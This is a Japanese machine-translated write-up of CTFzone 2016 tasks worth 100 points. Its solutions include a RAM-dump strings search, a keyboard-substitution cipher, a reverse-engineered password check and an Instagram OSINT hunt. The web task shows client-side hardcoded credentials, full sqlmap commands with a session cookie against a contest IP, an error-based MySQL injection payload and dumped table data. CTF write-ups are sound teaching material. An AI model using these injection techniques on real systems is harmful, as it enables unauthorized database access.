[ZeroNights2016] [CTFzone] 100グラムがなければ、それを把握することはできません





11月17日と18日に、ZeroNights2016の一部としてBi.Zoneの旗の下で行われたCTFzoneのワイトアップに捧げられた一連の記事を続けます。 今回はタスクについて説明します。その実装により、100ポイントが実際のハッカーに有利になりました。



このシリーズの以前の出版物
1)50のデブリーフィング



いくつかのタスクを提供してくれたGH0st3rsに感謝します。



FORENSIC100-弦の達人


上昇し、輝いて、中Li、ウォッカを飲み、熊と遊ぶことの夢を止めなさい。 オーロラは話している、そしてあなたはあなたの職場で眠ることをやめた時です。 全世界がドレインを下る可能性があるので、そうでなければ...あなたはもはやあなたの時間を遊ばすことはできません。 間違った場所にいる右の人は世界を変えることができます。 起きて、中,、宇宙船パネルのパスワードを見つけて、地球の軍隊に加わってください!


タスクには、ファイル '.RAM'を含む7zアーカイブが付随していました。 RAMキャストを分析する必要があるのは論理的です。 「ボラティリティ」に注目することが決定されました。 もう一度( 2/3 )割り当てを読んで、ボラティリティに関するWikiをスクロールすると、「文字 」セクションに気づき、 SysInternals Stringsへリンクが表示されます。 もちろん、それを使用します。



strings.exe task_forensic_100.ram > output
      
      





3文字より長いUNICODE文字列から最大70MBの出力が得られます(デフォルト)。 テキストエディタで開き、フラグを探しに行きました-「もしもし?」 私の驚きは何でしたか:









後で判明したように、フラグを取得する私のバージョンは、「著者」が計画していたものとは異なることが判明しました。 まあ、まあ、それはさらに良いかもしれません。



MISC100-オタクメカニック


オーロラ:中Li、ヴァルバラ軍曹を紹介させてください。 彼女はあなたの助けを必要としています。

ヴァーバラ軍曹:中,、このターミナルは機能していません。 リクエストを入力しましたが、画面にちらつきがあります。 私たちの航空整備士は、このターミナルで最後に働いた。 ご覧になりますか?


以下に、ターミナルからの同じ「曲線」出力を示します。



 why ir -iagp irbie -t cifap iw;-pfqlfrg -sfm DFG gukjlpi.cym/dnwalwbw pfrfg
      
      





それについてどうすればいいですか? よく見てみましょう:5行目の終わりはリンクに非常に似ています。 ただし、「y」->「o」を置き換える必要があります。 次に、最初の行で、「なぜ」が「誰」に変わります-ああ! -明らかにこれはBashインタープリターです。 この割り当てには、文字の置換のロジックがあったのかもしれませんが、トライアル方式を使用してPythonで簡単なスクリプトをスケッチしたため、解決策は自然に生まれました。



 print(text.replace('y','o').replace('j','y').replace('n','j').replace('k','n').replace('u','v').replace('l','u').replace('i','l').replace('r','s').replace('e','k').replace('f','e').replace('p','r').replace('g','t').replace('G','T').replace(';','p').replace('d','g').replace('D','G').replace('F','E').replace('v','i'))
      
      





結果は次のとおりです。



 who ls -latr lsblk -t clear lwp-request -sem GET tinyurl.com/gjwauwbw reset
      
      





リンクをたどると、フラグが表示されます:ctfzone {182ac24a3b2dc86ba298f57d9c391c0b}



PS>情報源から、この暗号文の文字を置き換えるための元のアルゴリズムはColemakの使用であることが知られています。



WEB100-検索エンジン


中Li(あなた):オーロラ、私はSNT-47コンパートメントにいます。 熱サインがありません。 船舶の通信に接続する方法を見つける必要がありますが、緊急です。どうすればよいですか?

AURORA:情報検索システムAURORAへようこそIDに名前を付けてください。

あなた:何の識別番号?! あなたも壊れていますか? ここに永遠に居たくないなら、あなたが中に持っているものを見てみましょう...


承認フォームのあるサイトへのリンクがタスクに添付されました。











どこから始めますか? 正しい:ページのソースコードの検索から。 私たちはそこに行き、観察します:



 <script src=/static/js/pewpew.js type="text/javascript"></script>
      
      





開いて、見て:



 if ('s3cr3tuser' === $(ctrls[0]).find('input').val() && 'v3rySTr0ngP@ss' === $(ctrls[1]).find('input').val()) {
      
      





肉眼で、何が何であるかを理解します。 承認フォームに戻って先に進みます。 単一の検索バーを含むページを開く前に。 「SQLiは1時間ここにいませんか?」私の頭の中で聞かれるべきです。 確認しましょう:ビンゴ!









さて、古き良きSqlMapを見つけてください(もちろん、あなたは手でそれを行うことができます)。 認証を行ったことを忘れないでください=> Cookieを指定する必要があります。 ローカルスペースを節約するために、「結論」は完全ではありません。



 root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL --tables
      
      





チーム出力
Parameter: #1* (URI)

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: http://78.155.219.6:80/search/param1'||(SELECT 'bGEm' FROM DUAL WHERE 8985=8985 AND (SELECT 1912 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(1912=1912,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'

---

[18:30:29] [INFO] testing MySQL

[18:30:29] [INFO] confirming MySQL

[18:30:29] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.0

[18:30:29] [INFO] fetching database names

[18:30:29] [INFO] the SQL query used returns 5 entries

[18:30:29] [INFO] resumed: information_schema

[18:30:29] [INFO] resumed: mysql

[18:30:29] [INFO] resumed: performance_schema

[18:30:29] [INFO] resumed: sqli_100

[18:30:29] [INFO] resumed: sys

[18:30:29] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sqli_100, sys'

[18:30:29] [INFO] the SQL query used returns 282 entries








 root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" --columns
      
      





チーム出力
Database: sqli_100

Table: wtf3thisiss3crettable_dont_read_dont_touch

[2 columns]

+--------+--------------+

| Column | Type |

+--------+--------------+

| id | int(5) |

| secret | varchar(500) |

+--------+--------------+








 root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" -C "secret" --dump
      
      





チーム出力
Database: sqli_100

Table: wtf3thisiss3crettable_dont_read_dont_touch

[13 entries]

+-----------------------------------------+

| secret |

+-----------------------------------------+

| 089b1d5d37c22d81b55b6f77c9e2b042 |

| asdkkjhjsdaojewifdiowuefdw0 |

| asdkkjhjsdaojewifdiowuefdw0 |

| dskjhwjkfhsjdkfhsjdkhfjk |

| dskjhwjkfhsjdkfhsjdkhfjk |

| dskjhwjkfhsjdkfhsjdkhfjk |

| dskjhwjkfhsjdkfhsjdkhfjk |

| lfhdwrekfgbuhwoeijfdweoifjweoif |

| lfhdwrekfgbuhwoeijfdweoifjweoif |

| lfhdwrekfgbuhwoeijfdweoifjweoif |

| lfhdwrekfgbuhwoeijfdweoifjweoif |

| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |

| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |

+-----------------------------------------+








フラグ形式はこの表にあるため、忘れないようにしてください。 そしてここに彼は:



ctfzone {089b1d5d37c22d81b55b6f77c9e2b042}



OSINT100-奇妙な男


オーロラ:中Li、私たちのエージェントはコスモスホテルに潜入し、ZERONIGHTS 2016の準備を目撃しました。誰もがスタンドの設置と写真の作成に忙しかった。 ホールには変な男がいて、ラップトップで何かを読むことに夢中になっていた。 この男が誰なのかわかりませんでしたが、彼が画面を見ているものを知る必要があります。 この写真はあなたを助けるかもしれません。


写真が添付されました:









写真では、ある人が別のセルフィー写真を撮る様子を観察でき、また、希望の画面が写真領域に収まっていることもわかります。 タスクは明確です。正しい角度から写真を見つける必要があります。 このCTFは本質的に国際的なものであるため、「どのサイトが必要ですか?」と自問します。 そうです-Instagram。 さらに、このタスクには2つのソリューションがあります。





しばらくして(2番目の方法を使用して)、目的のハッシュタグが見つかりました:#zn2016。 そして、これが目的の写真です。











フラグ:ctfzone {Os1nT_G4nGsT3r}



REVERSE100-ドルンの扉


**オーロラ:**中Li、あなたの副操縦士はエイリアンに誘ductされ、刑務所に入れられました。 彼らは今狩りをしているので、彼を解放するチャンスです! 彼はドアの後ろに保持されており、脇には目が見えず、金属製の隔壁と完全に一致していたため、ドアを閉めても見ることができませんでした。

アーキボルトの碑文は次のとおりです。

「オメガの主、ドルンの扉。 話し、友達になって、入ってください。 私、ノービーはそれらを作りました。 アルファケンタウリのCalabrimborはこれらの兆候を描きました。」

しかし、注意して急いでください。 彼らはいつでも戻ってくることができます。


ファイルがタスクに添付され、起動すると、パスワードを入力するためのフィールドのあるウィンドウが表示されました。 パスワードが正しくない場合、次のエラーが発生しました。









まあ、まあ、裏返して! 逆アセンブルして、最後のタスク(REVERSE50)からすでにおなじみの関数:DialogFunc、オフセット:13F7C1040を参照してください。 私たちはさらに調べて見つけます:









このコードセクションでは、パスワードが受信されてから関数に渡され(PassVerifyを呼び出しましょう)、結果が正しくない場合は:



jz short loc_13F7C1126







エラーを通知するコードのセクションに移動します。









関数PassVerifyに移動して、そこで何が起こるかを見てみましょう。 入力したフレーズの長さ-4文字のチェックが表示されます。









次に、パスワードは2文字の2つの部分に分割されます。









次に、調整のための値でスタックを埋め始めます。 そして、アドレス13F7C1330から開始して、入力されたパスワードの検証が開始されます。









HexRaysプラグインを使用して、次のコードを取得します。









では、何がありますか? 「v3」はパスワードの最初の部分で、「v5」は2番目の部分です。 このループを変換すると、次の状態になります(Python):



 v8 = [0, 0, 1, 241, 995, 0, 1, 4, 6, 104, 413, 0] if (v3%3==v8[0] and v3%5==v8[1] and v3%17==v8[2] and v3%257==v8[3] and v3%65537==v8[4]) or (v5%3==v8[6] and v5%5==v8[7] and v5%17==v8[8] and v5%257==v8[9] and v5%65537==v8[10])
      
      





誰もがこの方程式の解を選びました。 ただし、簡単な方法を探しているわけではなく、中国の剰余定理(そのスクリプトはNeoQuest2016に残っています )を使用します。



中国の剰余定理。 実装:Python
 def chinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod / n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a / b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1
      
      







私たちは使用します:



 hex(chinese_remainder([3,5,17,257,65537],[v8[0],v8[1],v8[2],v8[3],v8[4]]))
      
      





出力:0xa028a40b



私たちは使用します:



 hex(chinese_remainder([3,5,17,257,65537],[v8[6],v8[7],v8[8],v8[9],v8[10]]))
      
      





出力:0xa288a425



文字コードを取得しました。 次のステップは、 このサイトにアクセスし 、既知のHEX値で対応する文字を検索することです。 取得::。 このパスワードを試す-利益!














このシリーズの記事を続けて、CTFzone 2016の残りのタスクに対する解決策を検討します。

私たちと一緒にいてください!



All Articles